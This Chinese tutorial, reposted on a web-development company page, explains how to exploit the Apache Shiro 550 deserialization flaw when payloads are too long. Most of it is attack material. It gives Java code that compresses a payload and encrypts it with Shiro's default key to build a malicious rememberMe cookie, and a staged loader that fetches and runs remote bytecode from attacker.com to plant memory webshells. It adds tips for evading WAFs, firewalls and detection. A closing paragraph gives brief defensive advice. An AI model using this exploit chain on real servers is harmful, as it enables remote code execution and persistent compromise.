突破Shiro 550反序列化漏洞利用中的Payload长度限制
2026/7/4 13:41:00 网站建设 项目流程

1. 项目概述:当Shiro 550遇上超长Payload

在Shiro 550反序列化漏洞的实战利用中,尤其是当我们精心构造的Java反序列化链(比如结合CommonsCollections或ROME等Gadget)越来越复杂时,一个令人头疼的问题会频繁出现:Payload太长了。无论是通过rememberMeCookie传递,还是尝试其他注入点,服务端对请求参数的长度限制就像一道无形的墙,常常导致我们的精心构造的攻击载荷在传输途中就被无情截断,返回一个令人沮丧的“无效”或“超长”错误。这不仅仅是Shiro框架本身Cookie解码的限制,更是Web容器(如Tomcat、Jetty)和前端网络设备(如WAF、负载均衡器)对HTTP头部长度的普遍约束。

这个问题困扰过很多从基础利用向深度利用进阶的安全研究员和渗透测试人员。你可能会想,能不能把链子写短一点?但现实是,为了实现某些特定功能(如内存马注入、复杂命令执行、绕过防御),链子的复杂度往往降不下来。这时,我们就需要转换思路:不是缩短Payload本身,而是想办法让它“变小”或“分段”传输。这正是本次要深入探讨的两种核心进阶技巧:GZIP+Base64压缩编码与HTTP Body分阶段加载。前者像是一个高效的“压缩软件”,将庞大的Payload体积大幅缩减;后者则像“化整为零”的物流策略,把大件拆成多个包裹分批送达。掌握它们,你就能突破长度限制,让更强大的攻击成为可能。

2. 核心思路与方案选型背后的考量

面对Payload过长的问题,我们首先要理解限制究竟来自哪里,才能对症下药。Shiro 550漏洞的经典利用方式,是将序列化后的恶意对象进行AES加密,然后Base64编码,最终放入rememberMeCookie中。这个流程中,长度瓶颈主要出现在两个环节:

  1. HTTP头部长度限制:主流Web服务器和代理对单个HTTP头部字段(如Cookie)有长度限制,通常在4KB到16KB之间。超长的Cookie会被直接丢弃或截断。
  2. Shiro自身解码缓冲区:虽然Shiro的解码逻辑理论上能处理较长的Base64字符串,但在某些配置或版本下,也可能存在隐性的缓冲区限制。

因此,我们的解决方案必须围绕“如何在有限的空间内传递更多信息”或“如何改变信息传递的方式”来展开。下面两种方案各有其适用场景和优劣。

2.1 方案一:GZIP+Base64压缩编码技术

这个方案的思路非常直观:既然原始序列化字节流太大,我们就先用压缩算法把它“压扁”,然后再进行Base64编码和传输。由于Java反序列化Payload(特别是由多个TransformerInvokerTransformer构成的复杂链)中存在大量重复的类名、方法名和常量,使用GZIP这类压缩算法通常能获得非常可观的压缩比,经常能将Payload体积减少60%甚至更多。

为什么选择GZIP而不是其他压缩算法?首先,Java标准库java.util.zip中内置了对GZIP格式的支持,无需引入任何第三方依赖,这在攻击利用的泛用性上至关重要。其次,GZIP在压缩文本和序列化数据这类重复性高的内容时效率很高。最后,它的解压速度也很快,服务端在收到Payload后,可以迅速完成解压并反序列化,不影响漏洞触发的实时性。

该方案的潜在风险与考量:压缩虽然能减小体积,但Base64编码本身会使数据膨胀约33%。所以,我们需要评估“压缩节省的空间”是否大于“Base64膨胀的空间”。对于高度冗余的Java序列化数据,压缩收益通常非常明显。另一个考量是,某些WAF或IDS可能会检测经过GZIP压缩的流量特征,但将其嵌套在正常的HTTPS加密流量和Shiro的AES加密层之内,被直接检测到的概率相对较低。

2.2 方案二:HTTP Body分阶段加载技术

当Payload即使经过压缩仍然超出限制,或者目标环境对Cookie长度有极其严格的限制时,我们就需要更激进的方案。分阶段加载的核心思想是“延迟加载”或“远程加载”。我们不把完整的恶意类字节码或复杂的反序列化链全部放在初始Payload里,而是只放置一个“引导程序”。

这个“引导程序”(Stage 1 Payload)非常短小精悍,它的唯一使命就是在目标服务器的JVM中执行起来,然后通过网络从我们控制的服务器上动态加载后续真正的恶意代码(Stage 2 Payload)。常见的实现方式是利用URLClassLoaderdefineClass方法或者利用某些链本身支持从远程URL加载字节码的特性。

为什么选择分阶段加载?它的最大优势是突破了单次请求的长度天花板。初始Payload可以做得非常小,只包含最核心的加载逻辑。复杂的部分被移到了HTTP Body或其他请求参数中,而HTTP Body的长度限制通常远大于HTTP头部(可达数MB甚至更多),或者通过多次请求来完成。这种方式也增强了攻击的灵活性,我们可以随时更新Stage 2的Payload而无需重新构造和发送Stage 1。

该方案的复杂性与挑战:分阶段加载的实现比单纯压缩要复杂得多。首先,你需要一个公网可访问的服务器来托管Stage 2的Payload。其次,Stage 1的引导链必须稳定可靠,并且能在目标环境(可能存在网络策略限制)中成功发起对外HTTP请求。最后,整个过程的网络交互更多,被网络层防御设备发现的概率也会增加。

提示:在实际渗透测试中,我通常会优先尝试GZIP压缩方案,因为它改动小、兼容性好。只有当压缩后仍超限,或者需要部署非常复杂的内存马时,才会考虑使用分阶段加载。

3. GZIP+Base64压缩编码实战详解

理论说完了,我们来动手实现。假设我们已经有了一个能执行命令的CommonsCollections1链的序列化字节数组originalPayload

3.1 压缩与编码过程

以下是完整的Java代码示例,展示了如何将原始Payload进行GZIP压缩、AES加密(使用Shiro的默认密钥)、最后进行Base64编码。

import java.util.zip.GZIPOutputStream; import java.util.Base64; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; import java.security.Key; public class ShiroPayloadCompressor { // Shiro 1.2.4及之前版本的默认AES密钥 private static final byte[] DEFAULT_KEY = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); public static String generateCompressedRememberMeCookie(byte[] originalPayload) throws Exception { // 1. 使用GZIP压缩原始Payload ByteArrayOutputStream byteStream = new ByteArrayOutputStream(); try (GZIPOutputStream gzipStream = new GZIPOutputStream(byteStream)) { gzipStream.write(originalPayload); } byte[] compressedPayload = byteStream.toByteArray(); System.out.println("[*] 原始长度: " + originalPayload.length + ", 压缩后长度: " + compressedPayload.length + ", 压缩比: " + String.format("%.1f%%", (1 - (double)compressedPayload.length/originalPayload.length)*100)); // 2. 使用Shiro默认密钥进行AES加密 (CBC模式, PKCS5Padding) Key key = new SecretKeySpec(DEFAULT_KEY, "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, key); // 注意:Shiro会自己处理IV,这里我们模拟其行为,通常使用全零IV或随机IV,但Shiro在解密时会忽略我们提供的IV而使用自己的逻辑。 // 为简单起见,这里不手动添加IV,实际Shiro的加密器会处理。 byte[] encryptedPayload = cipher.doFinal(compressedPayload); // 3. 进行Base64编码 String rememberMeCookie = Base64.getEncoder().encodeToString(encryptedPayload); System.out.println("[*] 最终RememberMe Cookie长度: " + rememberMeCookie.length() + " 字符"); return rememberMeCookie; } public static void main(String[] args) throws Exception { // 假设这是你的原始反序列化Payload字节数组 // byte[] originalPayload = generateCommonsCollections1Payload("calc"); // String cookie = generateCompressedRememberMeCookie(originalPayload); // System.out.println("rememberMe=" + cookie); } }

关键步骤解析与注意事项:

  1. GZIP压缩:我们使用GZIPOutputStream包裹一个ByteArrayOutputStream。将原始Payload写入GZIP流后,它会自动完成压缩并输出到字节数组。务必在try-with-resources语句中或手动关闭GZIP流,以确保压缩数据被正确刷新。
  2. AES加密:这里使用了Shiro默认的硬编码AES密钥。在真实攻击中,你需要根据目标Shiro版本确定密钥。加密模式为CBC,填充为PKCS5Padding。一个极其重要的坑是:Shiro的加密/解密代码中,可能会在加密数据前拼接一个随机生成的IV(初始化向量)。但在我们构造攻击Payload时,通常直接使用全零IV或与密钥相关的固定值,因为Shiro在解密时,有时会从密文块中提取IV,有时又使用固定的逻辑。为了最大化兼容性,一些工具会直接模仿Shiro的AbstractRememberMeManager类的加密过程。如果你发现加密后的Payload不成功,需要检查IV的处理是否与目标Shiro版本匹配。
  3. Base64编码:这是最后一步,将加密后的二进制数据转换为可安全放在HTTP Cookie中的字符串。

3.2 服务端解压流程推测与适配

我们的Payload到达服务端后,Shiro会反向执行这个过程:Base64解码 -> AES解密 -> ?。这里有一个关键点:标准的ShiroAbstractRememberMeManager在解密后,会直接尝试反序列化解密后的数据,它不会自动尝试解压GZIP格式。

因此,为了让服务端能正确处理我们压缩过的Payload,我们需要对Payload本身进行“包装”。也就是说,我们压缩的不仅仅是反序列化链,而是一个“知道如何解压自己”的链。这通常通过改造反序列化Gadget来实现。

一种常见的实现思路是:构造一个特殊的TemplatesImpl链或利用BeanFactory链,其中包含的字节码是一个“解压执行器”。这个“解压执行器”的代码逻辑是:读取自身后面的压缩数据,用GZIPInputStream解压,然后通过defineClass加载并执行。这样,当Shiro反序列化这个初始Gadget时,就会触发“解压执行器”的运行,从而加载并执行我们真正的压缩后Payload。

这听起来有点绕,实际上就是创造了一个两层的嵌套结构:

  • 外层:一个标准的、较短的反序列化链,其最终动作是执行一段内置的字节码(解压器)。
  • 内层:被GZIP压缩的真正恶意字节码,作为数据附着在外层之后。

这种方式对Gadget的构造能力要求更高,但它是实现“透明压缩”的关键。一些高级的Shiro利用工具(如某些版本的shiro-attack或ysoserial的变种)已经内置了这种能力。

实操心得:在测试GZIP压缩方案时,务必先在本地搭建与目标环境相同版本的Shiro进行验证。直接使用网上的压缩Payload可能会因为版本差异导致的IV处理、类加载器问题而失败。一个稳妥的方法是,先生成一个不压缩的、能正常工作的Payload,然后尝试用上述代码压缩,并在本地验证其是否仍能触发。如果失败,问题很可能出在IV或Gadget的兼容性上。

4. HTTP Body分阶段加载技术深入剖析

当“压缩”这条路走到头时,“分阶段加载”就是我们的王牌。其原理模型如下:

攻击者服务器 (http://attacker.com/) | | 托管 Stage 2 Payload (如: shell.jar 或 raw bytecode) | v 目标服务器 <---(HTTP请求)--- Stage 1 Payload (短小精悍的加载器) | | 执行 Stage 1,从 attacker.com 下载 Stage 2 | v 在目标JVM中加载并执行 Stage 2 (如: 内存Webshell)

4.1 Stage 1 Payload(加载器)的构造

Stage 1的核心任务是建立一个从目标服务器到我们控制服务器的网络连接,并加载远程字节码。我们可以利用现有的反序列化链来实现这个功能。

示例:利用CommonsCollections链构造URLClassLoader

假设目标存在CommonsCollections漏洞,我们可以构造一个链,其最终效果是执行类似如下的Java代码:

// 伪代码,描述最终执行的动作 URL[] urls = new URL[]{new URL("http://attacker.com/shell.jar")}; URLClassLoader ucl = new URLClassLoader(urls, Thread.currentThread().getContextClassLoader()); Class<?> clazz = ucl.loadClass("Exploit"); clazz.newInstance();

通过ysoserial等工具,我们可以将这样的代码执行逻辑编织进一个Transformer数组里。这个生成的Payload通常不会太长。

更隐蔽的方式:利用TemplatesImpl加载远程字节码

对于支持TemplatesImpl的链(如ROME链),我们可以直接将Stage 2的字节码作为_bytecodes属性设置进去。但这里有个技巧:我们可以让_bytecodes指向一个非常小的、仅负责网络下载的“二级加载器”。这个“二级加载器”再去下载最终Payload。这样Stage 1的_bytecodes就非常短。

// Stage 1 中的 TemplatesImpl 字节码(简化版下载器) public class Stage1Loader extends AbstractTranslet { public Stage1Loader() throws Exception { // 从远程下载Stage 2字节码 URL url = new URL("http://attacker.com/stage2.bin"); byte[] stage2Bytes = readBytesFromStream(url.openStream()); // 使用当前类加载器定义并加载类 defineAndInvokeClass(stage2Bytes); } // ... 省略 readBytesFromStream 和 defineAndInvokeClass 方法实现 }

4.2 Stage 2 Payload的托管与交付

Stage 2就是你最终想执行的恶意代码,比如一个冰蝎或哥斯拉的内存马。你需要将其编译成class文件,然后将其字节码数组(或打包成JAR)托管在一个Web服务器上。

注意事项:

  1. HTTP服务器配置:确保服务器返回正确的Content-Type(如application/octet-stream),并且没有设置会干扰字节码下载的HTTP头(如Content-Encoding: gzip,除非你的加载器能处理)。
  2. 避免缓存:可以在URL中添加随机参数(如?t=123456)来防止代理或服务器缓存旧的恶意代码。
  3. 使用HTTPS:如果目标服务器出站流量受限,可能只允许HTTPS,你需要准备一个有效的SSL证书(或使用自签名证书并在加载器中忽略证书验证)。
  4. Payload编码:有时为了绕过简单的流量检测,可以将Stage 2的字节码进行Base64编码后托管,然后在加载器中先解码再加载。

4.3 完整攻击链示例与调试

假设我们已有一个Stage 1的加载器Payload(stage1.ser),以及一个托管在http://vps-ip:8080/cmd.jar的Stage 2 JAR文件。

攻击步骤:

  1. stage1.ser进行AES加密和Base64编码,放入rememberMeCookie发起请求。
  2. 目标服务器反序列化stage1.ser,执行其中的代码。
  3. Stage 1代码运行,创建URLClassLoader,尝试从http://vps-ip:8080/cmd.jar加载类EvilClass
  4. 你的VPS收到HTTP请求,返回JAR文件。
  5. 目标服务器加载EvilClass并执行其构造函数或静态块中的代码,内存马注入成功。

调试技巧:

  • 在Stage 1的代码中加入简单的回显,例如尝试在响应中输出Loaded from remote,以确认Stage 1是否成功执行。
  • 在你的VPS上使用nc -lvp 8080python3 -m http.server 8080启动一个简易HTTP服务器,观察是否有来自目标IP的访问请求。这是判断Stage 1是否触发网络连接的最直接方式。
  • 使用Wireshark或tcpdump在VPS上抓包,分析HTTP请求的完整细节,确保没有因为User-Agent、Host头等问题被拦截。

5. 常见问题、排查技巧与防御旁路

在实际利用过程中,你肯定会遇到各种问题。下面是我踩过的一些坑和对应的解决方案。

5.1 GZIP压缩方案常见问题

问题1:压缩后的Payload仍然过长。

  • 排查:检查原始Payload是否已经最简。有些ysoserial生成的Payload包含大量无关的类信息,可以尝试使用更精简的Gadget(如CommonsBeanutils1通常比CommonsCollections系列短),或者手动优化序列化链。
  • 解决:考虑结合压缩和分阶段加载。用压缩缩短Stage 1加载器的长度。

问题2:Payload在本地测试成功,但打目标失败。

  • 排查
    1. 密钥错误:确认目标Shiro版本使用的AES密钥。除了默认密钥,还有空密钥、自定义密钥等多种情况。使用工具进行密钥爆破。
    2. IV处理不一致:这是最隐蔽的问题。使用Java调试工具或对比Shiro源码,看目标版本在解密时是如何处理IV的。尝试在加密时显式地添加一个全零IV块在密文前。
    3. JDK版本差异:高版本JDK(如8u251+)限制了某些反序列化Gadget的类,可能导致失败。需要寻找绕过高版本限制的新链。

问题3:WAF拦截了请求。

  • 排查:虽然Cookie内容被AES加密,但Base64字符串可能存在固定模式。一些WAF会检测过长的、特定模式的rememberMeCookie值。
  • 解决
    • 分割Cookie:尝试将超长的Cookie值拆分成多个Cookie字段(如rememberMe1,rememberMe2),但这需要服务端能正确处理,通常不可行。
    • 参数污染:将Payload放在其他POST参数中,并修改利用链,使其从HttpServletRequest的其他参数中读取并解密Payload。这需要对Gadget有更深的理解和定制能力。

5.2 分阶段加载方案常见问题

问题1:目标服务器无法访问外网。

  • 排查:这是分阶段加载最大的障碍。Stage 1的加载器发出HTTP请求后,你的服务器没有收到任何连接。
  • 解决
    • DNS隧道:如果DNS流量能出去,可以尝试使用DNS协议来传输数据。这需要更复杂的Stage 1加载器,实现DNS查询和解析响应。
    • 内部网络代理:如果目标在内网,但能访问某个内部Web服务,可以尝试攻陷该服务作为中转。
    • 回连:让Stage 1尝试连接攻击者监听的端口(反向Shell思路),但这同样需要出网。

问题2:ClassLoader问题导致Stage 2加载失败。

  • 排查:错误信息可能是ClassNotFoundExceptionNoClassDefFoundError
  • 解决
    • 确保URLClassLoader使用的父类加载器是正确的。通常使用Thread.currentThread().getContextClassLoader()作为父加载器兼容性更好。
    • 如果Stage 2依赖其他JAR包,需要将它们一起打包,或者创建一个嵌套的ClassLoader结构。
    • 对于TemplatesImpl方式,确保字节码格式完全正确,并且类是完全自包含的(不依赖太多外部类)。

问题3:HTTP请求被目标主机防火墙或安全策略拦截。

  • 排查:你的VPS收到了TCP SYN包但没有后续,或者直接收到RST。
  • 解决
    • 使用常见端口:尝试使用80、443、8080等常见Web端口。
    • HTTPS:使用HTTPS协议,加载器需要处理SSL。可以先用一个信任所有证书的TrustManager来快速验证。
    • 域名与IP:尝试使用域名而非IP地址,有些策略会过滤直接IP访问。

5.3 高级技巧:结合与混淆

技巧1:GZIP压缩 + 分阶段加载对于极其复杂的Payload,可以将其压缩后作为Stage 2托管。Stage 1加载器下载压缩包,在内存中解压后再加载。这样既减少了Stage 2传输的体积,又保留了分阶段突破长度限制的优点。

技巧2:Payload编码混淆在Base64编码前,可以对加密后的字节数组进行简单的XOR或字节位移混淆,以规避基于固定AES模式或Base64特征的静态检测。当然,这需要在Stage 1或服务端解密逻辑中有对应的反混淆步骤(如果可控)。

技巧3:动态密钥协商在极端情况下,可以尝试利用反序列化漏洞先在目标服务器上植入一个简单的“密钥接收器”,然后通过第二次请求传递加密密钥,再用该密钥加密真正的Payload进行第三次请求。这实现了动态密钥,规避了静态密钥检测,但大大增加了交互复杂度。

最后,必须强调,所有这些技术都用于安全研究、授权测试和防御构建。作为防御方,应对Shiro 550漏洞的根本方法是:及时升级到已修复的Shiro版本。如果暂时无法升级,应全局重写RememberMeManager的加密密钥为高强度随机值,并考虑使用WAF规则对序列化流量进行深度检测,以及部署RASP(运行时应用自我保护)产品来拦截恶意的反序列化行为。攻击技术的演进永不停歇,防御的视野也需要同样开阔。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询